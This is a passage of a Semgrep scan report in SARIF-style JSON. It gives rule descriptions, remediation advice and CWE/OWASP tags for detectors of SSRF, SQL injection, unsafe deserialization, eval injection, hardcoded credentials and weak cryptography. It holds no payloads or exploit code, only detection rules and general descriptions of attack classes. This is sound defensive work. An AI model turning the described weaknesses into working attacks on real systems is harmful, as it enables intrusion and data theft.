or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","id":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","name":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"help":{"markdown":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage)\n - [https://github.com/mmckegg/notevil](https://github.com/mmckegg/notevil)\n","text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","id":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","name":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"PayPal Braintree Access Token detected"},"help":{"markdown":"PayPal Braintree Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"PayPal Braintree Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","id":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","name":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","id":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","name":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"help":{"markdown":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import","id":"python.lang.security.audit.non-literal-import.non-literal-import","name":"python.lang.security.audit.non-literal-import.non-literal-import","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.non-literal-import.non-literal-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"help":{"markdown":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","id":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","name":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"S3 bucket with public read access detected."},"help":{"markdown":"S3 bucket with public read access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","id":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","name":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","id":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","name":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request)\n - [https://kong.github.io/unirest-java/#requests](https://kong.github.io/unirest-java/#requests)\n","text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","id":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","name":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"help":{"markdown":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n","text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"helpUri":"https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","id":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","name":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A8:2017 Insecure Deserialization","OWASP-A8:2021 Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","id":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","name":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli","id":"java.spring.security.audit.spring-sqli.spring-sqli","name":"java.spring.security.audit.spring-sqli.spring-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"help":{"markdown":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage)\n - [https://docs.python.org/3/library/typing.html#typing.get_type_hints](https://docs.python.org/3/library/typing.html#typing.get_type_hints)\n","text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","id":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","name":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"help":{"markdown":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","id":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","name":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","properties":{"precision":"very-high","tags":["CWE-297: Improper Validation of Certificate with Host Mismatch","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","id":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","name":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"help":{"markdown":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"helpUri":"https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","id":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","name":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"help":{"markdown":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)\n","text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","id":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","name":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are 